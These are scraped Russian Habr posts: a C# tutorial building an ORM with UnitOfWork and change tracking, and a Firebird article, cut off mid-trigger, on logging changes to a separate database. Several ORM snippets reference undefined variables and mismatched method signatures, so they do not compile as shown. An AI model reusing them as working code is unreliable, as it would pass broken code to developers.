авторы проекта, можно будет снизить количество пробок, да и вообще оптимизировать управление трафиком. Транспортные и логистические компании станут работать более эффективно, оптимизируя режим работы и маршрут движения своих транспортных средств. Облачные сервисы с набором данных смогут использовать и ученые, внимательно наблюдая за ситуацией с вырубкой лесов или распространением токсических выбросов в случае очередной аварии танкера. Возможности сервисов дополняются глубоким машинным обучением, благодаря которому чего работа новых продуктов будет постоянно совершенствоваться и улучшаться.
https://geektimes.ru/post/283824/
habrahabr
Готовим ORM, не отходя от плиты
['.net', 'c#', 'orm', 'ddd', 'patterns']
Данная статья не является призывом к экстремизму разработке велосипедов. Цель поста в том, чтобы хорошо понять механизм, зачастую его нужно создать с нуля. Особенно это касается такой зыбкой...
Данная статья не является призывом к экстремизму разработке велосипедов. Цель поста в том, чтобы хорошо понять механизм, зачастую его нужно создать с нуля. Особенно это касается такой зыбкой темы как ORM. Зачем это все? Промышленные продукты, такие как MS Entity Framework, NHibernate сложны, имеют огромный функционал и по сути представляют собой отдельную вещь в себе. Часто для получения нужного поведения от таких ORM, необходим отдельный человек, хорошо разбирающийся в тонкостях работы таких систем, что не есть хорошо в командной разработке. Главный теоретический источник поста — книга Мартина Фаулера «Patterns of Enterprise Application Architecture (P of EAA)» . Существует куча информации о том что такое собственно ORM, DDD, TTD, ГИБДД — на этом я постараюсь не останавливаться, моя цель практическая. Предполагается две части статьи, в самым конце есть ссылка на полный исходный код в git hub. Что мы хотим получить? Сразу определимся с терминами: под трекингом будем понимать отслеживание изменений бизнес объектов в рамках одной транзакции, для дальнейшей синхронизации данных, хранящихся в оперативной памяти и содержимого бд. Какие же есть основные типы ORM? По использованию трекинга в .NET мире существует два типа ORM: с трекингом изменений и без трекинга изменений. Касательно подхода к генерации sql-запросов: с явным использованием запросов и на основе генераторов запросов из объектных моделей. Например, среди известных ORM без трекинга и с явным использованием запросов, самый яркий пример — Dapper ORM от Stack Overflow . Основной функционал таких ORM заключается в маппинге реляционной модели бд к объектной модели, при этом клиент явно определяет как будет выглядеть его запрос к бд. Основные концепции MS Entity Framework и NHibernate в использовании трекинга и генераторов запросов из объектных моделей. Не буду тут рассматривать преимущества и недостатки этих подходов. Все йогурты одинаково полезны и истина в комбинировании подходов. Заказчик (то есть я) захотел создать ORM с использованием трекинга (с возможностью выключения) и на основе генераторов запросов из объектных моделей. Генерировать sql-запросы будем из лямбда — выражений языка C#, с нуля, без применения Linq2Sql, LinqToEntities (да, только хардкор!). Из коробки, в MS Entity Framework есть неприятность с пакетным обновлением и удалением, данных: необходимо сначала достать все объекты из бд, далее в цикле обновить\удалить и затем применить изменения к бд. В итоге получаем больше обращений к бд, чем нужно. Проблема описана тут . Решим эту проблему во второй части статьи. Определимся с основными ингредиентами Сразу определимся каким образом клиентский код будет взаимодействовать с разрабатываемой библиотекой. Выделим основные компоненты ORM которые будут доступны из клиентского кода. В основе концепции клиентского взаимодействия с ORM будет лежать идея наследования от абстрактного репозитория. Также необходимо определить суперкласс для ограничения множества бизнес объектов, с которыми будет работать ORM. Каждый бизнес объект должен быть уникален в пределах своего типа, поэтому наследник должен явно переопределить свой идентификатор. Пустой репозиторий и суперкласс бизнес объекта public abstract class Repository<T> : IRepository<T> where T : EntityBase,new() { //Позже реализуем методы } //суперкласс бизнес объекта public abstract class EntityBase : IEntity { //в потомках необходимо явно переопределить идентификатор public abstract int Id { get; set; } public object Clone() { return MemberwiseClone(); } } Метод Clone() нам пригодится для копирования объекта, при трекинге, об этом будет чуть ниже. Пусть у нас будет клиентский бизнес объект, хранящий информацию о пользователе — класс Profile. Чтобы использовать бизнес объект в ORM необходимо три шага: Осуществить привязку бизнес объекта к таблице в базе данных на основе атрибутов Класс Profile //Все бизнес объекты должны быть наследниками суперкласса EntityBase [TableName("profile")] public class Profile : EntityBase { //Аргументом атрибута является точное название поля в бд [FieldName("profile_id")] public override int Id { get; } [FieldName("userinfo_id")] public int? UserInfoId { get; set; } [FieldName("role_id")] public int RoleId { get; set; } public string Info { get; set; } } Определить репозиторий для каждого бизнес-объекта Репозиторий профиля будет иметь вид public class ProfileRepository : Repository<Profile> { //в качестве аргумента базовому классу передаем название строки подключения public ProfileRepository() : base("PhotoGallery") { //реализация клиентских CRUD методов } } Сформировать строку подключения к бд Строка подключения может выглядеть так <connectionStrings> <add name="PhotoGallery" providerName="System.Data.SqlClient" connectionString="server=PC\SQLEXPRESS; database=db_PhotoGallery"/> </connectionStrings> Для трекинга изменений принято использовать паттерн UnitOfWork. Суть UnitOfWork в отслеживании действий, выполняемых над объектами домена, для дальнейшей синхронизации данных, хранящихся в оперативной памяти, с содержимым базы данных. При этом изменения фиксируются в один момент времени — все и сразу. Интерфейсная часть UnitOfWork public interface IUnitOfWork : IDisposable { void Commit(); } Казалось бы на этом все. Но нужно учесть два момента: Трекинг изменений должен обслуживать всю текущую бизнес транзакцию и должен быть доступен для всех бизнес объектов Бизнес-транзакция должна выполняться в рамках одного потока, поэтому нужно связать единицу работы с запущенным в данный момент потоком, используя локальное хранилище потока Если с потоком бизнес-транзакции уже связан объект UnitOfWork, то его следует поместить именно в этот объект. Кроме того, с логической точки зрения единица работы принадлежит данному сеансу. Воспользуемся статическим классом Session public static class Session { //локальное хранилище потока private static readonly ThreadLocal<IUnitOfWork> CurrentThreadData = new ThreadLocal<IUnitOfWork>(true); public static IUnitOfWork Current { get { return CurrentThreadData.Value; } private set { CurrentThreadData.Value = value; } } public static IUnitOfWork Create(IUnitOfWork uow) { return Current ?? (Current = uow); } } Если необходимо обойтись без трекинга, то экземляр класса UnitOfWork создавать не нужно, ровно как и вызывать Session.Create. Итак, после определения всех элементов, необходимых для взаимодействия с ORM, приведем пример работы с ORM. Пример работы с ORM var uow = new UnitOfWork(); using (Session.Create(uow)) { var profileRepo = new ProfileRepository(); //Вызов методов репозитория uow.Commit(); } Приступаем к готовке Все о чем мы говорили ранее касалось public части. Теперь рассмотрим internal часть. Для дальнейшей разработки необходимо определиться, что же из себя представляет структура объекта для трекинга. Не стоит путать бизнес объект и объект для трекинга: Бизнес объект имеет свой тип, тогда как трекинг объект должен быть пригоден для массовых манипуляций над множеством бизнес объектов, то есть не должен зависеть от конкретного типа Трекинг объект есть сущность существующая в рамках конкретной бизнес транзакции, среди множества бизнес объектов, его уникальность должна определяться в рамках этой транзакции Из чего следует, что такой объект должен обладать свойствами: Уникальным в пределах своего типа Неизменяемым По сути объект для трекинга является контейнером для хранения бизнес объектов. Как отмечалось ранее, все клиентские бизнес-объекты должны быть предками суперкласса EntityBase и для них должен быть переопределен идентификатор объекта. Идентификатор обеспечивает уникальность в пределах типа, то есть таблицы в бд. Реализация контейнера объекта для трекинга internal struct EntityStruct { //тип объекта internal Type Key { get; private set; } internal EntityBase Value { get; private set; } internal EntityStruct(Type key, EntityBase value) : this() { Key = key; Value = value; } public override bool Equals(object obj) { if (!(obj is EntityStruct)) { throw new TypeAccessException("EntityStruct"); } return Equals((EntityStruct)obj); } public bool Equals(EntityStruct obj) { if (Value.Id != obj.Value.Id) { return false; } return Key == obj.Key; } public override int GetHashCode() { //в пределах одной бд, тип объекта и идентификатор однозначно определяют его //уникальность return (unchecked(25 * Key.GetHashCode()) ^ Value.Id.GetHashCode()) & 0x7FFFFFFF; } } Трекинг бизнес объектов Регистрация объектов для трекинга будет происходить на этапе получения этих объектов из репозитория. После, получения бизнес объектов из бд, необходима их регистрация как объектов для трекинга. Такие объекты имеют два состояния: сразу после получения из бд и после получения, до фиксации изменений. Первые будем называть «чистыми», вторых «грязными» объектами. Пример var uow = new UnitOfWork(); using (Session.Create(uow)) { var profileRepo = new ProfileRepository(); //регистрируем "чистые" объекты путем копирования полученных из бд, //исходные считаем "грязными" var profiles = profileRepo.Get(x=>x.Info = "Хороший юзер"); //изменяем "грязные" объекты foreach (var profile in profiles) { profile.Info = "Плохой юзер"; } //фиксация изменений uow.Commit(); } Важный момент заключается в том, что для сохранения «чистых» объектов необходимы операции копирования, что может губительно сказаться на производительности. В общем случае регистрацию объектов трекинга необходимо проводить для каждого типа операций, таким образом должны быть объекты для операций обновления, удаления, вставки. Нужно учесть что необходимо регистрировать только реально измененные объекты, для чего необходимы операции сравнения по значению (выше приведена реализация структуры EntityStruct с переопределенным методом Equals). В конечном счете операция сравнения, будет сведена к сравнению их хэшей. События регистрации объектов трекинга будут возбуждаться из функционала абстрактного класса репозитория в его CRUD методах. Реализация функционала регистрации объектов трекинга internal interface IObjectTracker { //для простоты приведен код регистрации только для измененных и новых объектов объектов ICollection<EntityStruct> NewObjects { get; } ICollection<EntityStruct> ChangeObjects { get; } //методы регистрации void RegInsertedNewObjects(object sender, AddObjInfoEventArgs e); void RegCleanObjects(object sender, DirtyObjsInfoEventArgs e); } internal class DefaultObjectTracker : IObjectTracker { //ключ словаря - "грязный" объект, значение - "чистый" объект private readonly Dictionary<EntityStruct, EntityStruct> _dirtyCreanPairs; public ICollection<EntityStruct> NewObjects { get; private set; } public ICollection<EntityStruct> ChangeObjects { get { // получаем измененные объекты return _dirtyCreanPairs.GetChangesObjects(); } } internal DefaultObjectTracker() { NewObjects = new Collection<EntityStruct>(); //Чтобы избежать лишних boxing/unboxing операций реализуем свой EqualityComparer _dirtyCreanPairs = new Dictionary<EntityStruct, EntityStruct>(new IdentityMapEqualityComparer()); } public void RegInsertedNewObjects(object sender, AddObjInfoEventArgs e) { NewObjects.Add(e.InsertedObj); } public void RegCleanObjects(object sender, DirtyObjsInfoEventArgs e) { var objs = e.DirtyObjs; foreach (var obj in objs) { if (!_dirtyCreanPairs.ContainsKey(obj)) { //получаем "чистый" объект путем клонирования исходного при помощи MemberwiseClone() var cloneObj = new EntityStruct(obj.Key, (EntityBase)obj.Value.Clone()); _dirtyCreanPairs.Add(obj, cloneObj); } } } } Функционал выявления измененных клиентом объектов public static ICollection<EntityStruct> GetChangesObjects ( this Dictionary<EntityStruct, EntityStruct> dirtyCleanPairs ) { var result = new List<EntityStruct>(); foreach (var cleanObj in dirtyCleanPairs.Keys) { if (!(cleanObj.Key == dirtyCleanPairs[cleanObj].Key)) { throw new Exception("incorrect types"); } if (ChangeDirtyObjs(cleanObj.Value, dirtyCleanPairs[cleanObj].Value, cleanObj.Key)) { result.Add(cleanObj); } } return result; } public static bool ChangeDirtyObjs(EntityBase cleanObj, EntityBase dirtyObj, Type type) { var props = type.GetProperties(); //цикл по каждому свойству объекта foreach (var prop in props) { var cleanValue = prop.GetValue(cleanObj, null); var dirtyValue = prop.GetValue(dirtyObj, null); //если хоть одно свойство изменено, считаем объект пригодным для регистрации if (!cleanValue.Equals(dirtyValue)) { return true; } } return false; } Необходимо учесть, что бизнес объекты одной транзакции могут быть из разных бд. Логично предположить что для каждой бд должен быть определен свой экземпляр трекинга (класса, реализующего IObjectTracker, например DefaultObjectTracker). Текущей транзакции нужно заранее «знать» из для каких бд будет выполнен трекинг. На этапе создания экземпляра UnitOfWork, необходимо инициализировать экземпляры объектов трекинга (экземпляр класса DefaultObjectTracker) по указанным подключениям к бд в конфигурационном файле. Изменим класс UnitOfWork'а internal interface IDetector { //ключ слова - строка подключения к базу, значение - объект трекинга Dictionary<string, IObjectTracker> ObjectDetector { get; } } public sealed class UnitOfWork : IUnitOfWork, IDetector { private readonly Dictionary<string, IObjectTracker> _objectDetector; Dictionary<string, IObjectTracker> IDetector.ObjectDetector { get { return _objectDetector; } } public UnitOfWork() { _objectDetector = new Dictionary<string, IObjectTracker>(); foreach (ConnectionStringSettings conName in ConfigurationManager.ConnectionStrings) { //каждому подключению к базе соответствует свой экземпляр трекинга _objectDetector.Add(conName.Name, new DefaultObjectTracker()); } } } Информация о том какой экземпляр трекинга какой базе будет соответствовать должна быть доступна всем экземплярам репозитория в рамках транзакции. Удобно создать единую точку доступа в статическом классе Session. Класс Session примет вид public static class Session { private static readonly ThreadLocal<IUnitOfWork> CurrentThreadData = new ThreadLocal<IUnitOfWork>(true); public static IUnitOfWork Current { get { return CurrentThreadData.Value; } private set { CurrentThreadData.Value = value; } } public static IUnitOfWork Create(IUnitOfWork uow) { return Current ?? (Current = uow); } //Метод возвращает нужный экземляр трекинга для текущей транзакции // по имени строки подключения internal static IObjectTracker GetObjectTracker(string connectionName) { var uow = Current; if (uow == null) { throw new ApplicationException(" Create unit of work context and using Session."); } var detector = uow as IDetector; if (detector == null) { throw new ApplicationException("Create unit of work context and using Session."); } return detector.ObjectDetector[connectionName]; } } } Доступ к данным Функционал доступа к данным будет непосредственно вызывать методы обращения к бд. Этот функционал будет использоваться классом абстрактного репозитория в его CRUD методах. В простом случае класс доступа к данным включает в себя CRUD методы для работы с данными. Реализация класса DbProvider internal interface IDataSourceProvider : IDisposable { State State { get; } //для простоты фиксировать изменения в бд, будем только для измененных объектов void Commit(ICollection<EntityStruct> updObjs); ICollection<T> GetByFields<T>(BinaryExpression exp) where T : EntityBase, new(); } internal class DbProvider : IDataSourceProvider { private IDbConnection _connection; internal DbProvider(IDbConnection connection) { _connection = connection; State = State.Open; } public State State { get; private set; } public ICollection<T> GetByFields<T>(BinaryExpression exp) where T : EntityBase, new() { // делегат возвращающий текст select-запроса по выражению exp Func<IDbCommand, BinaryExpression, string> cmdBuilder = SelectCommandBulder.Create<T>; ICollection<T> result; using (var conn = _connection) { using (var command = conn.CreateCommand()) { command.CommandText = cmdBuilder.Invoke(command, exp); command.CommandType = CommandType.Text; conn.Open(); result = command.ExecuteListReader<T>(); } } State = State.Close; return result; } public void Commit(ICollection<EntityStruct> updObjs) { if (updObjs.Count == 0) { return; } // ключ - делегат возвращающий текст update-запроса по выражению exp //значение - измененные объекты var cmdBuilder = new Dictionary<Func<IDbCommand, ICollection<EntityStruct>, string>, ICollection<EntityStruct>>(); cmdBuilder.Add(UpdateCommandBuilder.Create, updObjs); ExecuteNonQuery(cmdBuilder, packUpdDict, packDeleteDict); } private void ExecuteNonQuery(Dictionary<Func<IDbCommand, ICollection<EntityStruct>, string>, ICollection<EntityStruct>> cmdBuilder) { using (var conn = _connection) { using (var command = conn.CreateCommand()) { var cmdTxtBuilder = new StringBuilder(); foreach (var builder in cmdBuilder) { cmdTxtBuilder.Append(builder.Key.Invoke(command, builder.Value)); } command.CommandText = cmdTxtBuilder.ToString(); command.CommandType = CommandType.Text; conn.Open(); if (command.ExecuteNonQuery() < 1) throw new ExecuteQueryException(command); } } State = State.Close; } private ICollection<T> ExecuteListReader<T>(EntityStruct objs) where T : EntityBase, IEntity, new() { Func<IDbCommand, EntityStruct, string> cmdBuilder = SelectCommandBulder.Create; ICollection<T> result; using (var conn = _connection) { using (var command = conn.CreateCommand()) { command.CommandText = cmdBuilder.Invoke(command, objs); command.CommandType = CommandType.Text; conn.Open(); result = command.ExecuteListReader<T>(); } } State = State.Close; return result; } private void Dispose() { if (State == State.Open) { _connection.Close(); State = State.Close; } _connection = null; GC.SuppressFinalize(this); } void IDisposable.Dispose() { Dispose(); } ~DbProvider() { Dispose(); } } Классу DbProvider необходимо существующее соединение с бд. Делегируем создание соединения и дополнительной инфраструктуры отдельному классу на основе фабричного метода. Таким образом создавать экземпляры класса DbProvider необходимо только через вспомогательный класс фабрики. Фабричный метод DbProvider'а class DataSourceProviderFactory { static DbConnection CreateDbConnection(string connectionString, string providerName) { if (string.IsNullOrWhiteSpace(connectionString)) { throw new ArgumentException("connectionString is null or whitespace"); } DbConnection connection; DbProviderFactory factory; try { factory = DbProviderFactories.GetFactory(providerName); connection = factory.CreateConnection(); if (connection != null) connection.ConnectionString = connectionString; } catch (ArgumentException) { try { factory = DbProviderFactories.GetFactory("System.Data.SqlClient"); connection = factory.CreateConnection(); if (connection != null) { connection.ConnectionString = connectionString; } } catch (Exception) { throw new Exception("DB connection has been failed."); } } return connection; } public static IDataSourceProvider Create(string connectionString) { var settings = ConfigurationManager.ConnectionStrings[connectionString]; var dbConn = CreateDbConnection(settings.ConnectionString, settings.ProviderName); return new DbProvider(dbConn); } public static IDataSourceProvider CreateByDefaultDataProvider(string connectionString) { var dbConn = CreateDbConnection(connectionString, string.Empty); return new DbProvider(dbConn); } } Регистрация трекинг объектов должна происходить в CRUD методах репозитория, тот в свою очередь делегирует функционал слою доступа к данным. Таким образом необходима реализация интерфейса IDataSourceProvider с учетом трекинга. Регистрировать объекты будем на основе механизма событий, которые будут возбуждаться именно в этом классе. Предполагаемая новая реализация интерфейса IDataSourceProvider должна «уметь» как инициализировать события регистрации на трекинг, так и обращаться к бд. В данном случае удобно декорировать класс DbProvider. Реализация класса TrackerProvider internal class TrackerProvider : IDataSourceProvider { private event EventHandler<DirtyObjsInfoEventArgs> DirtyObjEvent; private event EventHandler<UpdateObjsInfoEventArgs> UpdateObjEvent; private readonly IDataSourceProvider _dataSourceProvider; private readonly string _connectionName; private readonly object _syncObj = new object(); private IObjectTracker ObjectTracker { get { lock (_syncObj) { // получаем необходимый экземпляр трекинга return Session.GetObjectTracker(_connectionName); } } } public TrackerProvider(string connectionName) { _connectionName = connectionName; _dataSourceProvider = DataSourceProviderFactory.Create(_connectionName); // регистрация событий трекинга RegisterEvents(); } public State State { get { return _dataSourceProvider.State; } } private void RegisterEvents() { //Использование класса корректно только при использовании трекинга if (Session.Current == null) { throw new ApplicationException("Session has should be used. Create a session."); }; //подписка на события трекинга DirtyObjEvent += ObjectTracker.RegCleanObjects; UpdateObjEvent += ObjectTracker.RegUpdatedObjects; } public ICollection<T> GetByFields<T>(BinaryExpression exp) where T : EntityBase, IEntity, new() { //получаем исходные объекты из бд посредством экземпляра класса DbProvider var result = _dataSourceProvider.GetByFields<T>(exp); var registratedObjs = result.Select(r => new EntityStruct(typeof(T), r)).ToList(); //Возбуждаем событие регистрации "грязных" объектов var handler = DirtyObjEvent; if (handler == null) return result; handler(this, new DirtyObjsInfoEventArgs(registratedObjs)); return result; } public void Commit(ICollection<EntityStruct> updObjs) { //полностью делегируем выполнение экземпляру класса DbProvider _dataSourceProvider.Commit(updObjs, delObjs, addObjs, packUpdObjs, deleteUpdObjs); } public void Dispose() { _dataSourceProvider.Dispose(); } } Промежуточные итоги Разберемся каким образом теперь будут выглядеть наши public-классы. Как отмечалось чуть выше, класс репозитория должен делегировать свою функциональность реализациям интерфейса IDataSourceProvider'а. При инициализации класса репозитория, на основе переданной в конструктор строки подключения, необходимо создать нужную реализацию IDataSourceProvider'а в зависимости от использования трекинга. Также необходимо учесть, что класс доступа к данным может в любой момент времени «потерять» соединение с бд, для чего с помощью свойства будем следить за этим соединением. Класс UnitOfWork'а, как уже отмечалось ранее, в своем конструкторе должен создать список объектов класса DefaultObjectTracker по всем доступным в строке подключения бд. Логично, что фиксация изменений должна также происходить по всем бд: для каждого экземпляра трекинга будет вызываться метод фиксации его изменений. Public - классы примут вид public abstract class Repository<T> : IRepository<T> where T : EntityBase, IEntity, new() { private readonly object _syncObj = new object(); private IDataSourceProvider _dataSourceProvider; //c помощью свойства "мониторим" соединение с бд private IDataSourceProvider DataSourceProvider { get { lock (_syncObj) { if (_dataSourceProvider.State == State.Close) { _dataSourceProvider = GetDataSourceProvider(); } return _dataSourceProvider; } } } private readonly string _connectionName; protected Repository(string connectionName) { if (string.IsNullOrWhiteSpace(connectionName)) { throw new ArgumentNullException("connectionName"); } _connectionName = connectionName; var dataSourceProvider = GetDataSourceProvider(); if (dataSourceProvider == null) { throw new ArgumentNullException("dataSourceProvider"); } _dataSourceProvider = dataSourceProvider; } private IDataSourceProvider GetDataSourceProvider() { //если трекинг включен создаем экземпляр класса DbProvider'а // иначе создаем его ////декорированную версию - TrackerProvider return Session.Current == null ? DataSourceProviderFactory.Create(_connectionName) : new TrackerProvider(_connectionName); } public ICollection<T> Get(Expression<Func<T, bool>> exp) { return DataSourceProvider.GetByFields<T>(exp.Body as BinaryExpression); } } public sealed class UnitOfWork : IUnitOfWork, IDetector { private readonly Dictionary<string, IObjectTracker> _objectDetector; Dictionary<string, IObjectTracker> IDetector.ObjectDetector { get { return _objectDetector; } } public UnitOfWork() { _objectDetector = new Dictionary<string, IObjectTracker>(); foreach (ConnectionStringSettings conName in ConfigurationManager.ConnectionStrings) { _objectDetector.Add(conName.Name, new DefaultObjectTracker()); } } public void Commit() { SaveChanges(); } private void SaveChanges() { foreach (var objectDetector in _objectDetector) { //фиксируем изменения в экземплярах трекинга по каждой из бд var provider = new TrackerProvider(objectDetector.Key); provider.Commit( objectDetector.Value.ChangeObjects, objectDetector.Value.DeletedObjects, objectDetector.Value.NewObjects, objectDetector.Value.UpdatedObjects, objectDetector.Value.DeletedWhereExp); } } } В продолжении статьи рассмотрю работу со связанными сущностями, генерацию sql запросов на основе деревьев выражений, методы пакетного удаления/изменения данных (по типу UpdateWhere, RemoveWhere). Полностью весь исходный код проекта, без упрощений, лежит тут .
https://habrahabr.ru/post/317860/
habrahabr
Как вести логи изменений данных пользователями в базе данных, сохраняя их в другой базе данных
['firebird', 'logs']
Уважаемые читатели. Это вторая статья из цикла по базам данных. Решил сделать некоторое оглавление по планируемым статьям этого цикла: Как сделать разный часовой пояс в разных базах данных на...
Уважаемые читатели. Это вторая статья из цикла по базам данных. Решил сделать некоторое оглавление по планируемым статьям этого цикла: Как сделать разный часовой пояс в разных базах данных на одном сервере. Как вести логи изменений данных пользователями в базе данных, сохраняя их в другой базе данных, для того чтобы основная база данных не забивалась мусором и не росла. Как создать свою файловую систему на основе blob полей в базе данных. Почему это удобно. Вопросы эффективности хранения файлов: как получить максимальное быстродействие и при этом минимальное занимаемое место. Я был удивлен количеством комментариев к первой статье, поэтому сразу хочу заметить, что не претендую на единственно правильный способ реализации. Я уверен, что творческие люди найдут еще немало других способов реализовать данную задачу. Но реализуя ее в свое время, я не нашел ни одной статьи с описанием такого функционала и делать данную задачу пришлось с нуля, хотя она на мой взгляд актуальна. Реализация, которую я буду описывать, полностью рабочая и используется мной на практике. Так же я приветствую конструктивную критику. Бывает люди пишут интересные вещи и ты можешь взглянуть на проблему под углом, о котором не предполагал и как-то улучшить свои механизмы. Итак начнем. База данных firebird 3. Формулировка задачи следующая: необходимо писать подробные логи изменений данных пользователями в базе данных (insert, update, delete), но при этом писать их в другой базе данных на другом сервере. Необходимо это для того чтобы размер основной базы данных не рос как на дрожжах, ее удобно было бекапить, ресторить, чтобы она работала быстро, не накапливала мусора, не содержала лишней и редконужной информации. Разрабатывался данный механизм для облачной платформы по автоматизации предприятия ( https://erp-platforma.com ), но впервые я столкнулся с данной проблемой работая в отделе биллинга, в телеком компании. Там была база данных биллинга (назовем ее Основная БД), с которой работали все системы, и база данных для личного кабинета клиентов (назовем ее БД ЛК), которая тоже должна была содержать большинство данных из основной БД. Это было сделано, потому что всем было когда-то стремно, что находящийся “снаружи” ЛК смотрит в главную базу данных компании, ибо мало ли… Для того чтобы данные из основной базы, попадали в БД ЛК (и в некоторых случаях из БД ЛК в основную) разработчиками биллинга был реализован механизм репликации, делались триггеры на insert, update и delete, которые писали все изменения в некую “промежуточную” таблицу, внешний скрипт с определенной периодичностью выгружал новые записи из этой таблицы в текстовики, эти текстовики закидывались на сервер с БД ЛК и там исполнялись в той базе. Все вроде неплохо, НО, база росла как на дрожжах, достигая за несколько месяцев ГИГАНТСКИХ размеров за счет этой таблицы, куда сливались все логи. Устаревающие данные в ней оставались, а не сразу из нее не удалялись, ибо удаление – процесс долгий и способствует накоплению мусора и просто БД будет работать со временем медленнее. Так решили разработчики. В итоге доходило до того, что каждые 3 месяца, приходилось удалять эти данные, и делать бекап-ресторе базы данных, ибо место на сервере просто заканчивалось. Бекап-ресторе таких объемов и на таком сервере – чуть ли не сутки на всю работу. Это каждые 3 месяца остановка на сутки работы всей компании. И это приходилось делать. Хелп деск делал записи в это время на бумажке… Разрабатывая свою облачную платформу, в виду опыта, я уже осознавал данную проблематику и решил сделать систему записи подробных логов лишенную данных недостатков. Тем более учитывая объемы, что может быть на один сервер не одна база данных, а 1000, и делать этой тысяче бекап-ресторе нереально. Для начала хочу описать общую концепцию. Чтобы структуиризировать ведение записей, они ведутся пакетным способом. Есть две таблицы, таблица с информацией по пакету и таблица с данными этого пакета. Назовем их LOG_PACKET и LOG LOG_PACKET Уникальный идентификатор Дата записи Автор записи (ид юзера) Признак обработки (0 или 1) Тип записи (ins,up,del) Номер таблицы (название таблицы из которой пишем логи) Номер таблицы с данными Идентификатор записи пакета Количество попыток обработки Дата последней обработки LOG Уникальный идентификатор Блоб поле для данных OLD Блоб поле для данных NEW Идентификатор записи пакета Номер поля таблицы (название поля таблицы) В триггере при изменении данных, должна заполняться запись в LOG_PACKET с информацией о чем эта запись и данные (до изменения и после изменения) в таблицу LOG Далее внешний скрипт, запускаемый с определенной периодичностью, находит не обработанные записи в LOG_PACKET, и делает их копию в базу данных логов на другом сервере, по их идентификаторам находит все их записи в таблице LOG и тоже делает копию. Далее нам надо избавиться от мусора в основной БД. Удалять данные из LOG – тормозить базу и копить мусор. Есть более быстрая и лучшая процедура DROP TABLE. PS: Почему DROP предпочтительнее DELETE подробно описывать не буду. Все очень хорошо описано в данной статье . Поэтому применяется следующее решение. Таблиц LOG делается 3 штуки. LOG_1 – в первый день данные пишутся сюда, LOG_2 – в следующий день данные пишутся сюда, и т.д. происходит чередование, один день в LOG_1 второй день в LOG_2. Когда данные пишутся в LOG_2 и все пакеты ссылающиеся на LOG_1 обработанны — происходит DROP LOG_1 и CREATE TABLE LOG_1. Таким образом, в момент удаляются все записи и таблица становится чистой. На следующий день аналогично с LOG_2. НО не так все просто. Т.к. ссылки на LOG_1 и LOG_2 прописаны в триггерах всех логируемых таблиц – удалить их не получится. Для этого надо применить хитрость. Сделать их VIEW. И прописать добавление данных в триггерах через это VIEW. CREATE OR ALTER VIEW V_LOG_1( ID, BLOB_OLD, BLOB_NEW, PACKET, NUM_POLE) AS select p.id, p.blob_old, p.blob_new, p.packet, p.num_pole from LOG_1 p; Но даже так удалить таблицу имея триггер не получится ибо VIEW в триггере будет ссылаться на нее. Для этого надо сделать таблицу LOG_3, которая буде копией по структуре LOG_1 и LOG_2. Заменяем в VIEW LOG_1 на LOG_3 и вауля, можно удалить и пересоздать таблицу LOG_1. После этого меняем в VIEW назад LOG_3 на LOG_1 – и все работает дальше. Эту операцию можно проводить без проблем, в таблицу LOG_1 в этот момент гарантировано не будет происходить записи, т.к. в этот день запись ведется в LOG_2. Такая операция очистки происходит всегда с таблицей, в которую в этот день записи нет. На следующий день такая же операция произойдет с таблицей LOG_2. Так же эта операция должна происходить, только если все данные в LOG_PACKET по этой таблице обработаны. Если они не обработаны — то трогать таблицу нельзя, ибо это будет потеря данных. Необходимо сначала разбираться почему данные не обработаны, например, может зависнуть скрипт который их перемещает в базу с логами. Если в данный день операция очистки была отменена, то следующая попытка будет проведена через день и т.д. Концепцию мы разобрали, теперь разберем оптимальную схему работы. Во первых надо ввести таблицу с информацией о том в какую таблицу мы пишем сегодня. Это должна быть таблица с единственной записью (в этом случае получение данных операция быстрая), ни каких индексов. Она должна содержать номер дня, дату обновления и разрешена ли вообще запись логов (администратор должен иметь возможность вообще запретить запись логов для экономии места, если они ему вообще не нужны) Например CREATE TABLE LOG_INFO ( ZAPIS SMALLINT, DATA TIMESTAMP, ID_TABLE SMALLINT ); Во всех триггерах логируемых таблиц сначала проверяется, разрешена ли запись select p.zapis from LOG_INFO p into: zapis; Если она разрешена, то проверяется, в какую таблицу писать данные select first 1 case when p.data=current_date then p.id_table else case when p.id_table=1 then 2 when p.id_table=2 then 1 end end, case when p.data=current_date then 1 else -1 end from LOG_INFO p into: log_info, log_info_check; PS: для скептиков, first 1 нужно для того, чтобы исключить вероятность вылета триггера если в таблице LOG_INFO вдруг случайно появится более одной записи. В этом случае будет ошибка записи данных во все логируемые таблицы (обычно ошибка multiple rows). А first 1 мы гарантировано исключаем данный вариант. Данным запросом мы: 1) Проверяем, совпадает ли дата с текущей, если да то пишем в текущую таблицу, если нет, то меняем таблицу на другую (произошел переход дня на следующий); 2) Ставим признак того, что данную таблицу надо проапдейтить на другую при переходе дня. Следующим шагом если нам необходим апдейт при переходя дня, апдейтим if (log_info_check=-1) then UPDATE LOG_INFO SET ID_TABLE = :log_info, DATA = current_date; Т.е. первая же запись на следующий день апдейтит данные, что писать надо в следующую таблицу. И дальше на это уже ресурсы не тратятся. Далее пишутся данные в LOG_PACKET и получаем его идентификатор if (inserting) then TYPE_=1; if (updating) then TYPE_=2; if (deleting) then TYPE_=3; if (TYPE_ in (1,2)) then INSERT INTO LOG_PACKET (TYPE_, TABLE_, NUM_TABLE, AVTOR, ID_ZAPISI) VALUES (:TYPE_, 15, :log_info, new.avtor, new.id) RETURNING ID into: id_packet; else INSERT INTO LOG_PACKET (TYPE_, TABLE_, NUM_TABLE, AVTOR, ID_ZAPISI) VALUES (:TYPE_, 15, :log_info, old.avtor, old.id) RETURNING ID into: id_packet; Далее в зависимости от полученного номера таблицы, данные должны писаться в V_LOG_1 или V_LOG_2. Например, запись может выглядеть так: if (log_info=1) then begin if (TYPE_=1) then begin INSERT INTO V_LOG_1 (BLOB_OLD, BLOB_NEW, PACKET, NUM_POLE) VALUES (NULL, new.n_687, :id_packet, 687); INSERT INTO V_LOG_1 (BLOB_OLD, BLOB_NEW, PACKET, NUM_POLE) VALUES (NULL, new.n_688, :id_packet, 688); INSERT INTO V_LOG_1 (BLOB_OLD, BLOB_NEW, PACKET, NUM_POLE) VALUES (NULL, new.n_689, :id_packet, 689); INSERT INTO V_LOG_1 (BLOB_OLD, BLOB_NEW, PACKET, NUM_POLE) VALUES (NULL, new.n_690, :id_packet, 690); INSERT INTO V_LOG_1 (BLOB_OLD, BLOB_NEW, PACKET, NUM_POLE) VALUES (NULL, new.n_691, :id_packet, 691); end if (TYPE_=2) then begin if (new.n_687<>old.n_687) then INSERT INTO V_LOG_1 (BLOB_OLD, BLOB_NEW, PACKET, NUM_POLE) 